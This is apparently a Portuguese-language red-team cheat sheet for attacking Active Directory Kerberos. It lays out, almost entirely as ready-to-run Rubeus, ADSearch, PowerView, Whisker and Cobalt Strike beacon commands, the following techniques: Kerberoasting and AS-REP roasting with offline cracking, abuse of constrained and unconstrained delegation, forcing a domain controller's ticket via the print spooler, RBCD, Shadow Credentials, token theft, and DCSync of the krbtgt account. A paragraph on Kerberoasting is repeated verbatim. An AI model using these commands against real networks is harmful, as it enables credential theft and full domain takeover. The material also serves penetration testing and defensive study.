Kerberos

Gerando TGS - Rubeus

Primeiro devemos ver na triagem os usuários disponíveis

<Rubeus.exe> triage

Vamos então pegar o LUID do usuário em questão. Selecione um LUID de cima para baixo e escolhendo o serviço em questão (escolher o krbtgt é um ótimo negócio).

<Rubeus.exe> dump /nowrap /luid:<LUID> /service:<service>

No final da saída do comando acima, teremos o base64 do TGT. Iremos utilizar esse valor para gerar um TGS, seguindo o comando abaixo:

<Rubeus.exe> asktgs /ticket:<tgt-base64> /service:<service>/<host.domain.local>:<port> /dc:<hostname-dc.domain.local> /ptt

Kerberoasting

Kerberoasting é uma técnica para solicitar TGS para serviços executados no contexto de contas de domínio e quebrá-los offline para revelar suas senhas em texto simples. Para pegar os hashes de todos os usuários com Kerberoasting (exceto krbtgt), execute: Kerberoasting é uma técnica para solicitar TGS para serviços executados no contexto de contas de domínio e quebrá-los offline para revelar suas senhas em texto simples. Para pegar os hashes de todos os usuários com Kerberoasting (exceto krbtgt), execute:

execute-assembly <C:\path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> kerberoast /simple /nowrap

Após pegar os hashes utilize o Hashcat ou John the Ripper para quebrá-la de maneira offline.

hashcat -a 0 -m 13100 <hash.txt> <wordlist.txt>
john --format=krb5tgs --wordlist=<wordlist.txt> <hash.txt>

OBS.: Pode ser que o John the Ripper tenha incompatibilidade com o hash. Remover o SPN do hash talvez possa remover o problema, então irá ficar algo como $krb5tgs$23$*<user>$<host.domain.local>*$<HASH>.

Como fazer esse tipo de enumeração pode fazer ruído na rede, o ideal é sempre enumerar primeiro os possíveis canditados e então analisá-los seletivamente. Abaixo temos uma consulta LDAP que encontrará usuários de domínio que possuem um SPN definido.

execute-assembly <C:\path\to\ADSearch\ADSearch\bin\Release\ADSearch.exe> --search "(&(objectCategory=user)(servicePrincipalName=*))" --attributes cn,servicePrincipalName,samAccountName

Agora ao invés de pegarmos todos os usuários com Kerberoasting de uma vez, vamos selecionar um usuários (samaccountname) e pegar somente o seu hash.

execute-assembly <C:\path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe kerberoast> /user:<user> /nowrap

ASREP Roasting

Se um usuário não tiver a pré-autenticação Kerberos habilitada, um AS-REP poderá ser solicitado para esse usuário e parte da resposta poderá ser quebrada offline para recuperar sua senha em texto simples. Essa configuração é habilitada no objeto Usuário e geralmente é vista em contas associadas a sistemas Linux. Porém, assim como acontece com o Kerberoasting, não vamos atacar todas as contas do domínio, então vamos primeiro filtrar pelos usuários em potencial.

execute-assembly <C:\path\to\ADSearch\ADSearch\bin\Release\ADSearch.exe> --search "(&(objectCategory=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" --attributes cn,distinguishedname,samaccountname

Agora com o(s) usuário(s) em mãos, vamos extrair o seu hash.

execute-assembly <C:\path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> asreproast /user:<user> /nowrap

Partiremos agora para o ataque de Brute Force offline para quebrarmos esse hash. Para podemos utilizar o Hashcat ou o John the Ripper.

hashcat -a 0 -m 18200 <hash.txt> <wordlist.txt>
john --format=krb5asrep --wordlist=<wordlist.txt> <hash.txt>

Constrained Delegation (Delegação Restrita)

A delegação restrita foi introduzida posteriormente com o Windows Server 2003 como um meio mais seguro para os serviços executarem a delegação Kerberos. Tem como objetivo restringir os serviços para os quais o servidor pode atuar em nome de um usuário. Ele não permite mais que o servidor armazene em cache os TGTs de outros usuários, mas permite solicitar um TGS para outro usuário com seu próprio TGT. Quando um host pode atuar em nome de qualquer usuário para utilizar o serviço cifs (Common Internet File System), isso permite listar compartilhamentos e transferência de arquivos. Para localizar computadores configurados para delegação restrita, procure aqueles cujo atributo msds-allowedtodelegateto não esteja vazio.

execute-assembly <C:\path\to\ADSearch\ADSearch\bin\Release\ADSearch.exe> --search "(&(objectCategory=computer)(msds-allowedtodelegateto=*))" --attributes dnshostname,samaccountname,msds-allowedtodelegateto --json

Apesar de estarmos pesquisando em contas de computadores, tenha em mente que contas de usuário também podem ter essa configuração. Para realizar a delegação, precisamos do TGT do principal (computador ou usuário) confiável para a delegação. A maneira mais direta é extraí-lo com o dump Rubeus:

execute-assembly <C:\path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> triage
execute-assembly <C:\path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> dump /luid:<luid> /service:krbtgt /nowrap

Com o TGT, execute uma solicitação S4U para obter um TGS utilizável para CIFS no Domain Controller. Lembre-se de que podemos representar qualquer usuário no domínio, mas queremos que alguém que conhecemos seja o administrador local do destino. Nesse caso, um Domain Admin faz mais sentido. Remova o $ caso seja uma conta de usuário e não de computador.

execute-assembly <C:\path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> s4u /impersonateuser:<user-to-impersonate> /msdsspn:cifs/<dc.domain.local> /user:<hostname-ou-user-do-base64-tgt>$ /ticket:<base64-tgt> /nowrap

Dessa forma, isso executará primeiro um S4U2Self e depois um S4U2Proxy. E por último, o ticket S4U2Proxy final que precisamos. Agora acessar com o usuário que definimos no comando acima para impersonificar. Para o comando abaixo, substitua <base64-tgt> pelo valor exibido no comando acima.

execute-assembly <C:\path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> createnetonly /program:C:\Windows\System32\cmd.exe /domain:<DOMAIN> /username:<user-to-impersonate> /password:<qualquer_senha> /ticket:<base64-tgt> 

Anote o valor do campo ProcessID na saída do comando acima e utilize no comando abaixo:

steal_token <ProcessID>

Para ter certeza que o Impersonate deu certo para pegar a conta de um Domain Admin, execute um dos comandos abaixo (utilize FQDN do DC):

jump psexec64 <dc.domain.local> smb

ls \\<dc.domain.local>\c$

Alterando Nome de Serviço

Por padrão, o Active Directory permite que o campo sname do SPN do Ticket seja alterado, já que não está criptografado. Seguindo esse linha de raciocínio, podemos modificar o SPN para algo diferente, como por exemplo, solicitar um ticket de serviço como CIFS e depois alterar para LDAP. Isso pode ser útil quando estamos em um cenário onde o CIFS pode ser explorado, porém a porta 445 não está disponível. Remova o $ abaixo caso seja uma conta de usuário e não de computador.

execute-assembly <C:\path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> s4u /impersonateuser:<user-to-impersonate> /msdsspn:cifs/<dc.domain.local> /altservice:ldap /user:<hostname-ou-user-do-base64-tgt>$ /ticket:<base64-tgt> /nowrap

execute-assembly <C:\path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> createnetonly /program:C:\Windows\System32\cmd.exe /domain:<DOMAIN> /username:<user-to-impersonate> /password:<qualquer_senha> /ticket:<base64-tgt>

steal_token <ProcessID>

Agora podemos fazer o DCSYNC, devido ao acesso privilegiado de usuário com permissões de Domain Admin

dcsync <subdomain.domain.local> <SUBDOMAIN>\krbtgt

Unconstrained Delegation (Delegação Irrestrita)

A delegação permite que um usuário ou máquina atue em nome de outro usuário para outro serviço. Uma implementação comum disso é quando um usuário se autentica em um aplicativo Web front-end que atende um banco de dados back-end. O aplicativo front-end precisa se autenticar no banco de dados back-end (usando Kerberos) como usuário autenticado.

Um aspecto interessante da delegação irrestrita é que ela armazenará em cache o TGT do usuário, independentemente de qual serviço está sendo acessado pelo usuário. Portanto, se um administrador acessar um compartilhamento de arquivos ou qualquer outro serviço na máquina que usa Kerberos, seu TGT será armazenado em cache. Se pudermos comprometer uma máquina com delegação irrestrita, poderemos extrair quaisquer TGTs de sua memória e usá-los para representar os usuários em outros serviços no domínio.

O comando abaixo irá retornar todos os computadores permitidos para delegação irrestrita. Lembre-se que, sempre todos Controladores de Domínio permitirão Delegação Irrestrita.

execute-assembly <C:\path\to\ADSearch\ADSearch\bin\Release\ADSearch.exe> --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname

Se comprometermos o <host$> (host que foi detectado no comando acima) e esperarmos ou projetarmos socialmente um usuário privilegiado para interagir com ele, podemos roubar seu TGT em cache. A interação pode ser feita por meio de qualquer serviço Kerberos, portanto, algo tão simples como dir \\<host>\c$ é suficiente. O parâmetro triage do Rubeus mostrará todos os tickets atualmente armazenados em cache. Os TGTs podem ser identificados pelo serviço krbtgt.

execute-assembly <C:\path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> triage

Agora vamos extrair esse TGT e aproveitá-lo por meio de uma nova sessão de logon.

execute-assembly <C:\path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> dump /luid:<LUID> /nowrap

No final da saída do comando acima, devmeos ter o base64 do TGT. Vamos utilizar esse valor para criarmos o novo logon

execute-assembly <C:\path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> createnetonly /program:C:\Windows\System32\cmd.exe /domain:<DOMAIN> /username:<user> /password:<fake-pass> /ticket:<base64-tgt>

Na saída do comando acima, pegue o valor do campo ProcessID e então utilize no comando abaixo

steal_token <ProcessID>

Pegando TGT do Domain Controller

Falando em Unconstrained Delegation, uma boa idéia é fazermos com que o DC acesse uma máquina que temos acessos privilegiados e assim pegarmos o TGT da conta de computador do DC. O Rubeus tem o parâmetro monitor, que entrará em loop e monitorará e extrairá continuamente novos TGTs à medida que eles forem armazenados em cache.

execute-assembly <C:\path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> monitor /interval:10 /nowrap

Em seguida, execute SharpSpoolTrigger. Note que o valor de <host-beacon.domain.local> irá ser a máquina com o Beacon que está executando o modo Monitor do Rubeus. Isso irá fazer com que o DC acesse a máquina com Delegação Irrestrita e deixe assim o seu TGT.

execute-assembly <C:\path\to\SharpSystemTriggers\SharpSpoolTrigger\bin\Release\SharpSpoolTrigger.exe> <dc.domain.local> <host-beacon.domain.local>

Agora no Rubeus é possível ver o TGT de máquina do DC. Acesse com a conta do usuário em questão, ou a conta de máquina, caso tenha feito o procedimento acima.

execute-assembly <C:\path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> createnetonly /program:C:\Windows\System32\cmd.exe /ticket:<base64-tgt>

Na saída do comando acima, pegue o valor do campo ProcessID e então utilize no comando abaixo

steal_token <ProcessID>

Assim que o Rubeus capturar o TGT, ele já irá exibir o TGT em base64 tanto da conta de usuário do user que executou o comando acima, como o base64 TGT da conta de computador do Domain Controller.

Como vimos nos dois exemplos de Delegação Restrita (Constrained Delegation), existem duas extensões S4U (Service For User):

  • S4U2Self = É o serviço de usuário para si mesmo, que em resumo permite que um serviço obtenha um TGS para si mesmo em nome de um usuário

  • S4U2Proxy = É o serviço de usuário para proxy, no qual permite que o serviço obtenha um TGS em nome de um usuário para um segundo serviço

Se utilizarmos esse TGT do Domain Controller para acessar por exemplo o ls \\<dc.domain.local>\c$ como se fosse uma conta de usuário comum, não iria funcionar. Porém podemos contornar isso através do comando abaixo:

execute-assembly <C:\path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> s4u /impersonateuser:<user> /self /altservice:cifs/<dc.domain.local> /user:<dc-hostname>$ /ticket:<base64-tgt-dc> /nowrap

Com o TGT gerado, utilize no comando abaixo:

execute-assembly <C:\path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> createnetonly /program:C:\Windows\System32\cmd.exe /domain:<SUBDOMAIN> /username:<user> /password:<qualquer_senha> /ticket:<base64-tgt-dc>

Por último

steal_token <ProcessId>

Agora se executarmos um ls \\<dc.domain.local>\c$, podemos listar os arquivos normalmente.

RBCD (Resource-Based Constrained Delegation)

Habilitar a Delegação (Restrita ou Irrestrita) em um computador requer a atribuição de direitos de usuário SeEnableDelegationPrivilege no(s) Domain Controller(s), que só era concedida ao Enterprise Admins de Domain Admins. O Windows 2012 introduziu um novo tipo de delegação chamada Delegação Restrita Baseada em Recursos (RBCD), que permite que a configuração da delegação seja definida no destino e não na origem.

Procurando máquinas com configurações vulneráveis, como WriteProperty, GenericWrite, GenericAll e WriteDacl.

powershell-import <C:\path\to\\PowerSploit\Recon\PowerView.ps1>
powershell Get-DomainComputer | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match "WriteProperty|GenericWrite|GenericAll|WriteDacl" -and $_.SecurityIdentifier -match "S-1-5-21-569305411-121244042-2357301523-[\d]{4,10}" }

Pegando o SID da máquina que estamos atualmente com o Beacon

powershell Get-DomainComputer -Identity <hostname> -Properties objectSid

Com o SID retornado, utilize-o no comando abaixo, que pode ser que retorne mensagem de erro, porém as vezes podemos ignorar e continuar:

powershell $rsd = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;<SID>)"; $rsdb = New-Object byte[] ($rsd.BinaryLength); $rsd.GetBinaryForm($rsdb, 0); Get-DomainComputer -Identity "<dc-hostname>" | Set-DomainObject -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity' = $rsdb} -Verbose

Agora vamos fazer o processo básico para personificar um usuário. No primeiro comando, procure pelo LUID da conta de computador do Beacon que esteja utilizado o krbtgt como Serviço

execute-assembly <C:\path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> triage
execute-assembly <C:\path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> dump /luid:<LUID> /service:krbtgt /nowrap
execute-assembly <C:\path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> s4u /user:<hostname-beacon>$ /impersonateuser:<user-domain-admin> /msdsspn:cifs/<dc.domain.local> /ticket:<base64-tgt> /nowrap
execute-assembly <C:\path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> createnetonly /program:C:\Windows\System32\cmd.exe /domain:<SUBDOMAIN> /username:<user-domain-admin> /password:<qualquer_senha> /ticket:<base64-tgt>
steal_token <ProcessId>
ls \\<dc.domain.local>\c$

Para desfazer o processo, execute:

powershell Get-DomainComputer -Identity <dc-hostname> | Set-DomainObject -Clear msDS-AllowedToActOnBehalfOfOtherIdentity

Shadow Credentials

Embora a pré-autenticação Kerberos seja normalmente realizada usando uma chave simétrica derivada da senha de um cliente, chaves assimétricas também são possíveis por meio do PKINIT (Public Key Cryptography for Initial Authentication - Criptografia de Chave Pública para Autenticação Inicial). Se uma solução PKI estiver em vigor, como os ADCS (Active Directory Certificate Services - Serviços de Certificados do Active Directory), os Domain Controllers e os membros do Domínio trocam suas chaves públicas através da CA (Certificate Authority - Autoridade de Certificação) apropriada. Isso é chamado de modelo de Certificate Trust (Confiança de Certificado). Há também um modelo Key Trust, onde a confiança é estabelecida com base em dados brutos de chave, e não em um certificado. Isso exige que um cliente armazene sua chave em seu próprio objeto de domínio, em um atributo chamado msDS-KeyCredentialLink. A base do ataque de "Shadow Credentials" é que, se você puder gravar nesse atributo em um usuário ou objeto de computador, poderá obter um TGT para esse principal. Como tal, este é um abuso do estilo DACL, como acontece com o RBCD.

Listando chaves que estão presentes para um determinado alvo

execute-assembly <C:\path\to\Whisker\Whisker\bin\Release\Whisker.exe> list /target:<dc-hostname>$

Adicionando um novo par de chaves

execute-assembly <C:\path\to\Whisker\Whisker\bin\Release\Whisker.exe> add /target:<dc-hostname>$

Solicitando um TGT com o comando Rubeus que o próprio Whisker fornece. Utilize o hash do certificado e a senha gerada no comando acima, para poder executar o comando abaixo

execute-assembly <C:\path\to\Rubeus\Rubeus\bin\Release\Rubeus.exe> asktgt /user:<dc-hostname>$ /certificate:<certificate> /password:"<password>" /nowrap

Listando todas as entradas novamente e remover apenas aquela que deseja

execute-assembly <C:\path\to\Whisker\Whisker\bin\Release\Whisker.exe> list /target:<dc-hostname>$
execute-assembly <C:\path\to\Whisker\Whisker\bin\Release\Whisker.exe> remove /target:<dc-hostname>$ /deviceid:<DevideId>

Sites

# StandIn
https://github.com/FuzzySecurity/StandIn

# Whisker
https://github.com/eladshamir/Whisker

Last updated